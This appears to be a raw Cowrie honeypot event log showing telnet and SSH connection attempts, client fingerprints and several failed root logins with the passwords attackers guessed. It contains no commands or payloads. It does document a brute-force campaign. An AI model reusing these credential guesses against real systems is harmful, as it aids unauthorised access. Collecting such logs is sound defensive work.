{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44198,"dst_ip":"10.17.0.5","dst_port":23,"session":"3602bd0e5a60","protocol":"telnet","message":"New connection: 192.119.13.58:44198 (10.17.0.5:23) [session: 3602bd0e5a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:14.348750Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50124,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf1c4dbc88c","protocol":"telnet","message":"New connection: 192.119.13.58:50124 (10.17.0.5:23) [session: 6cf1c4dbc88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:15.804444Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34890,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b3294e1fe5","protocol":"telnet","message":"New connection: 192.119.13.58:34890 (10.17.0.5:23) [session: 92b3294e1fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:19.054979Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59832,"dst_ip":"10.17.0.5","dst_port":23,"session":"2820b9e22cd5","protocol":"telnet","message":"New connection: 192.119.13.58:59832 (10.17.0.5:23) [session: 2820b9e22cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:25.459741Z"}
{"eventid":"cowrie.session.closed","duration":120.0022029876709,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:29.442153Z","src_ip":"177.185.59.2","session":"2232b5ce430c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.59.2","src_port":32994,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa9faac17edf","protocol":"telnet","message":"New connection: 177.185.59.2:32994 (10.17.0.5:23) [session: aa9faac17edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:29.781344Z"}
{"eventid":"cowrie.session.closed","duration":120.00323820114136,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:32.705093Z","src_ip":"177.185.59.2","session":"af75920b8013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.59.2","src_port":33826,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c70af2e20ec","protocol":"telnet","message":"New connection: 177.185.59.2:33826 (10.17.0.5:23) [session: 2c70af2e20ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:33.027745Z"}
{"eventid":"cowrie.session.closed","duration":34.7719452381134,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:33.711225Z","src_ip":"192.119.13.58","session":"41efb5a8bbb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58902,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40ae07e780a","protocol":"telnet","message":"New connection: 192.119.13.58:58902 (10.17.0.5:23) [session: e40ae07e780a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:54.164566Z"}
{"eventid":"cowrie.session.closed","duration":40.9465913772583,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:55.295246Z","src_ip":"192.119.13.58","session":"3602bd0e5a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.963910818099976,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:56.768236Z","src_ip":"192.119.13.58","session":"6cf1c4dbc88c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58770,"dst_ip":"159.203.135.109","dst_port":22,"session":"83e283f3e35d","protocol":"ssh","message":"New connection: 62.133.62.83:58770 (159.203.135.109:22) [session: 83e283f3e35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:57.823728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:57.829679Z","src_ip":"62.133.62.83","session":"83e283f3e35d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:57.913231Z","src_ip":"62.133.62.83","session":"83e283f3e35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123321a","message":"login attempt [root/a123321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:58.162224Z","src_ip":"62.133.62.83","session":"83e283f3e35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:33:59.244631Z","src_ip":"62.133.62.83","session":"83e283f3e35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.58362936973572,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:02.638474Z","src_ip":"192.119.13.58","session":"92b3294e1fe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.96931791305542,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:08.428936Z","src_ip":"192.119.13.58","session":"2820b9e22cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60798,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd72ac8a641e","protocol":"ssh","message":"New connection: 103.27.238.120:60798 (159.203.135.109:22) [session: fd72ac8a641e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:12.739558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:12.745208Z","src_ip":"103.27.238.120","session":"fd72ac8a641e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:13.006269Z","src_ip":"103.27.238.120","session":"fd72ac8a641e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345.","message":"login attempt [root/12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:13.803215Z","src_ip":"103.27.238.120","session":"fd72ac8a641e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:15.066413Z","src_ip":"103.27.238.120","session":"fd72ac8a641e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40382,"dst_ip":"10.17.0.5","dst_port":23,"session":"b518dd7f3dc0","protocol":"telnet","message":"New connection: 192.119.13.58:40382 (10.17.0.5:23) [session: b518dd7f3dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:22.658102Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45350,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb8ee32ed54f","protocol":"ssh","message":"New connection: 103.75.182.198:45350 (10.17.0.5:22) [session: eb8ee32ed54f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:30.224264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:30.230367Z","src_ip":"103.75.182.198","session":"eb8ee32ed54f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:30.474082Z","src_ip":"103.75.182.198","session":"eb8ee32ed54f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"89180710477s","message":"login attempt [root/89180710477s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:31.208912Z","src_ip":"103.75.182.198","session":"eb8ee32ed54f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:32.451090Z","src_ip":"103.75.182.198","session":"eb8ee32ed54f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":8458,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a4dcbf0ae96","protocol":"ssh","message":"New connection: 38.93.206.2:8458 (159.203.135.109:22) [session: 2a4dcbf0ae96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:37.198162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:37.202167Z","src_ip":"38.93.206.2","session":"2a4dcbf0ae96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:37.252508Z","src_ip":"38.93.206.2","session":"2a4dcbf0ae96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"314159","message":"login attempt [root/314159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:37.405118Z","src_ip":"38.93.206.2","session":"2a4dcbf0ae96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:38.458770Z","src_ip":"38.93.206.2","session":"2a4dcbf0ae96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.32835340499878,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:39.492792Z","src_ip":"192.119.13.58","session":"e40ae07e780a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"21de85568602","protocol":"telnet","message":"New connection: 192.119.13.58:37398 (10.17.0.5:23) [session: 21de85568602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:34:42.317570Z"}
{"eventid":"cowrie.session.closed","duration":39.183181047439575,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:01.841158Z","src_ip":"192.119.13.58","session":"b518dd7f3dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53448,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6779c2b09fa","protocol":"telnet","message":"New connection: 192.119.13.58:53448 (10.17.0.5:23) [session: b6779c2b09fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:13.914577Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43696,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b7fe025b70","protocol":"telnet","message":"New connection: 192.119.13.58:43696 (10.17.0.5:23) [session: 21b7fe025b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:19.539108Z"}
{"eventid":"cowrie.session.closed","duration":39.64338970184326,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:21.960828Z","src_ip":"192.119.13.58","session":"21de85568602","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00882649421692,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:29.790025Z","src_ip":"177.185.59.2","session":"aa9faac17edf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.59.2","src_port":48058,"dst_ip":"10.17.0.5","dst_port":23,"session":"3620ec9b99f6","protocol":"telnet","message":"New connection: 177.185.59.2:48058 (10.17.0.5:23) [session: 3620ec9b99f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:30.126250Z"}
{"eventid":"cowrie.session.closed","duration":120.00254416465759,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:33.030183Z","src_ip":"177.185.59.2","session":"2c70af2e20ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.59.2","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d591792b25","protocol":"telnet","message":"New connection: 177.185.59.2:48384 (10.17.0.5:23) [session: a4d591792b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:33.333851Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43254,"dst_ip":"10.17.0.5","dst_port":23,"session":"78f8dfc44eaf","protocol":"telnet","message":"New connection: 192.119.13.58:43254 (10.17.0.5:23) [session: 78f8dfc44eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:39.545224Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51258,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8d5db1a29f","protocol":"telnet","message":"New connection: 192.119.13.58:51258 (10.17.0.5:23) [session: 7e8d5db1a29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:41.345428Z"}
{"eventid":"cowrie.session.closed","duration":35.731244802474976,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:35:55.270261Z","src_ip":"192.119.13.58","session":"21b7fe025b70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.713276624679565,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:04.627728Z","src_ip":"192.119.13.58","session":"b6779c2b09fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":57840,"dst_ip":"159.203.135.109","dst_port":22,"session":"edbe22227e6c","protocol":"ssh","message":"New connection: 45.148.10.121:57840 (159.203.135.109:22) [session: edbe22227e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:09.596982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:09.601721Z","src_ip":"45.148.10.121","session":"edbe22227e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:09.687490Z","src_ip":"45.148.10.121","session":"edbe22227e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":45066,"dst_ip":"10.17.0.5","dst_port":22,"session":"3869b981f9a3","protocol":"ssh","message":"New connection: 103.149.28.157:45066 (10.17.0.5:22) [session: 3869b981f9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:11.129497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:11.134529Z","src_ip":"103.149.28.157","session":"3869b981f9a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:11.386468Z","src_ip":"103.149.28.157","session":"3869b981f9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"99999","message":"login attempt [root/99999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:12.147044Z","src_ip":"103.149.28.157","session":"3869b981f9a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.60379433631897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:12.949112Z","src_ip":"192.119.13.58","session":"7e8d5db1a29f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:36:13.400927Z","src_ip":"103.149.28.157","session":"3869b981f9a3","protocol":"ssh"}
